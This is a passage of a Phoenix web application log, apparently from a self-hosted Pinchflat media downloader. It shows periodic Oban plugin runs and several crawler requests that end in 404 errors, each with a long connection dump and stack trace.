{"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.225 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:39:25.498 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:55.500 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.226 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:40:25.502 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:55.504 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.227 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:41:25.506 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:55.508 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.228 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:42:25.510 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:55.512 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.229 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:43:25.514 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:55.516 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.230 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:44:25.518 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:55.520 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.231 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:45:25.523 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:55.525 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.232 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:46:25.527 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:55.529 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.233 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:47:25.531 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:55.533 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.234 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:48:25.535 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:55.537 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.235 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:49:25.539 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:55.541 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.236 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:50:25.543 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:55.545 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.237 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:51:25.547 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:55.549 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.238 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:52:25.551 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:55.553 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.239 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:53:25.555 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:55.557 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.244 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:54:25.559 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:55.561 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.245 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:55:25.563 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:55.565 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.246 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:56:25.567 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:55.569 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.247 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:57:25.571 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:55.573 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.248 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:58:25.575 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:55.577 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.249 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:59:25.579 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:55.581 [info] {"source":"oban","duration":1715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.250 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:00:07.373 [info] GET /sources/4/force_index 02:00:07.374 [debug] QUERY OK source="settings" db=0.3ms idle=1730.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:07.374 [debug] QUERY OK source="settings" db=0.2ms idle=742.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:07.375 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:00:07.375 [error] #PID<0.255454.0> running PinchflatWeb.Endpoint (connection #PID<0.255452.0>, stream id 2) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60812}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255454.0>, params: %{}, path_info: ["sources", "4", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/4/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC6xJMWXtTXz3UAL6LC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60812}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60812}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255454.0>, params: %{}, path_info: ["sources", "4", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, (truncated) 02:00:07.875 [info] GET /sources/3/force_index 02:00:07.875 [debug] QUERY OK source="settings" db=0.3ms idle=1232.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:07.876 [debug] QUERY OK source="settings" db=0.2ms idle=1232.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:07.876 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:00:07.877 [error] #PID<0.255455.0> running PinchflatWeb.Endpoint (connection #PID<0.255452.0>, stream id 3) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60812}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255455.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/3/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC6xLD7DAfIRzoAL6MC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60812}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 60812}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255455.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, (truncated) 02:00:25.584 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:47.309 [info] GET /sources/3/sync_files_on_disk 02:00:47.309 [info] GET /sources/4/sync_files_on_disk 02:00:47.311 [debug] QUERY OK source="settings" db=0.8ms idle=666.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:47.311 [debug] QUERY OK source="settings" db=0.8ms idle=666.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:47.311 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=667.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:47.311 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=668.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:00:47.311 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:00:47.312 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:00:47.312 [error] #PID<0.255463.0> running PinchflatWeb.Endpoint (connection #PID<0.255460.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255460.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 52808}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255463.0>, params: %{}, path_info: ["sources", "3", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/3/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC6zd940k9h9lwAL6OC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255460.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 52808}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" 